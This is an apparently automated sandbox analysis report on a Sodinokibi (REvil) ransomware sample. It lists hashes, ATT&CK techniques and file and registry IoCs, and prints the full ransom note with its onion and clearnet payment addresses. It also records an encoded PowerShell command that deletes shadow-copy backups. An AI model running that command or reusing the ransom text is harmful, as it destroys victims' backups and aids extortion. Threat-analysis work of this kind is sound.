sodinokibi | a728d45de941ca5730401f224c80fa1dcc2224477e309f5e4a1de8276939dfbf

General

Target

0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
Size

179KB
MD5

0c280ffb12537bca109724ec89d1ccc6
SHA1

a8d5d8d5d1b8f288e919fe303787c5e1869ad653
SHA256

a728d45de941ca5730401f224c80fa1dcc2224477e309f5e4a1de8276939dfbf
SHA512

13c15edf4f022f74b3dd57cc203dc5a6bdde773a85ae83df772d536dd4c538ac11415a7c5d8fbb8b39e5e27c52d869a4b5cb19eb7c21c799e4bd8a53440b568a
SSDEEP

3072:yEa2d8CfSXceqmPDu4lPZU/CZtpysa8ustqzhy2Is80nwnyxVps:ACqlPDuGPG/abesYzg2I70nqoDs

Score

10^/10

sodinokibi discovery ransomware

Malware Config

Extracted

Path

C:\Users\lb0z4onv8-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. CDHFUND. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension lb0z4onv8. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/EB58674A9331D3FD 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/EB58674A9331D3FD Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: KZevheRczSPfGHkQEfq8R6C5FoUNVz3yyAAUYoUPq1zqVcBN9mAKrXe0luBN/0gK 12RmvmWFm5HwmalZ5xARuH0rryBvKJR2okS6niOSYELmYhZkFE+UbqVaZ1ppaMfa pbp1JK/OhX+Mra9VKN4ExfVG22IGuFzVX80kp7lMXUkpivXC1ngN5eJ6Q55M4PnA Hr8SDdwDb0cWVsROzLr+dRCM4mx1mLTPygBYpUAWWcvK4aAeh5/Bs5fDa+jts6bZ IV2B3cAH8+GFHLsUx7GUnpYwbZy4sy3K10gPVhXw01+6DF0e7uV7KffmSUS6rlo8 jvA7ajETd+fNAHk0CnlNVmrKWsHrDnYxUrJR3TYVM5SgeqCfJuN5fdBWlfNSlI8D 9IM1wVtSglaR7kSqB35ckGHsaPbhFiLphUPSyLn3848/LxYgpmJOKMY9krgxb6OX bQ58zNYW/7SoRowSqiVUqE/o8lbhq5LWNok6xJAbRnfW47cao8J6W9apCpAb7j3S EA+fEmz2DTZcijcnXi0HjAaGF2iAjkmAZQcXeqnP7LXZmrQLyyOJpzKIkfatnVA8 HXonNGUoasAnSq+LY7esrethQOQ/KsUiffmUq8wPjR1KgYcAsyqVkC3YujARnEbM hab0svrKRf3Wl358hVwoJqSUpxL+4CwfukngSW225SIX7AfO/HUxoyprAJ1dMI0n GCU4Ainkt5ac4rXhZ/gC/LeY0m/WLIMkBID9g2rsnS9yf5zUeC+CXWivQyjoKRsA 5HrQdfLK8yVBWojp5Hf63k7cGNBbOJPZzsTeAPcLNfUgVQfdYzvQ4eVrYnirj7Ke MRuuOkwOuMoPmB6agM1XlLc8Z0Z840Ue6O4Au4lt902Bmnb4r4k2Fn9GBXFB90ri b573CzslnDQIXSJWDp4VQD/0UQyg5Wn7Wdzoik4wlYMgEI3tHQSPNpjdHn8HaVJJ p6RiWJXLFsufFulQ/u22eurLStCcpjPVwCuXVKG150nH9p4uzYZtEQKIWOU53iHQ +lSzGVRpafm/0gAutstfHjGN79RcZIVr/aHNzSLYnQN4evsXF0mgRJQHDX1yVJmd iGoiHGIjU1v7KmyrneJKfohnmLzGkPbQkbogwGKF5u6PLSk7R2yGUXVCUNXADIPb wGeJH8VusX+cyZ/PPaUqu2r+2g4CNJPYVJmzLDQIw1zmMBjuwm62pATXBzM+gDru +hvrasEMkrMmd6KJYkuJE5rFqCt9WCxE Extension name: lb0z4onv8 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/EB58674A9331D3FD

http://decryptor.top/EB58674A9331D3FD

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\P:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\T:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\D:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\B:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\I:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\K:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\L:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\R:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\G:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\H:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\J:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\M:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\N:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\O:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\Q:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\S:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\A:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\X:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\V:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\U:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\W:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\Y:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\Z:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\F:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened (read-only)	\??\E:	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\30785.bmp"	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe

Drops file in Program Files directory 24 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\FormatSet.dwg	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ShowAssert.mp3	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SubmitDisable.vsdm	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WaitStart.m4v	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File created	\??\c:\program files (x86)\lb0z4onv8-readme.txt	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConfirmProtect.mp3	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ExpandOpen.ppt	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UpdateHide.rle	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\PingHide.wdp	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UseReceive.vsw	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WaitApprove.aifc	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\BlockMerge.vssm	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CloseMeasure.edrwx	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DenySearch.3gp2	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\HideLimit.odp	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\HideConvert.mpe	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\JoinConvertTo.mht	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResolveRedo.mid	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SkipConfirm.mpe	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File created	\??\c:\program files\lb0z4onv8-readme.txt	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\EnterDisable.aifc	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\EnterProtect.docx	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\FindDeny.pps	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WaitDebug.edrwx	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4612	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
4612	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
1468	powershell.exe
1468	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeBackupPrivilege	208	vssvc.exe
Token: SeRestorePrivilege	208	vssvc.exe
Token: SeAuditPrivilege	208	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4612 wrote to memory of 1468	4612	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe	84
PID 4612 wrote to memory of 1468	4612	0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe	84

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0c280ffb12537bca109724ec89d1ccc6_JaffaCakes118.exe"
1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1468

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4456

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eioa0jqt.cyz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\lb0z4onv8-readme.txt

Filesize
6KB

MD5
651765509b6dcaa286c691e69545b50e

SHA1
4756ed9ce9938837a158a8a6f1639c1c5efb85f2

SHA256
8158a0917eccc32c3a948a8d1983c853937a801eea18e1242c8d474c1a37b706

SHA512
737b368d1c80bab65aec03737583f3cda16e46f4d73da413576d943035da24f2428a36258c712f6625de0359d04fb3bb410df39c2fbd42396d07a0dbca9114c0

Download Submit
memory/1468-0-0x00007FFCB68D3000-0x00007FFCB68D5000-memory.dmp

Filesize
8KB

Download
memory/1468-1-0x000002930FF10000-0x000002930FF32000-memory.dmp

Filesize
136KB

Download
memory/1468-11-0x00007FFCB68D0000-0x00007FFCB7391000-memory.dmp

Filesize
10.8MB

Download
memory/1468-12-0x00007FFCB68D0000-0x00007FFCB7391000-memory.dmp

Filesize
10.8MB

Download
memory/1468-15-0x00007FFCB68D0000-0x00007FFCB7391000-memory.dmp

Filesize
10.8MB

Download

Resubmissions

Analysis

Sharing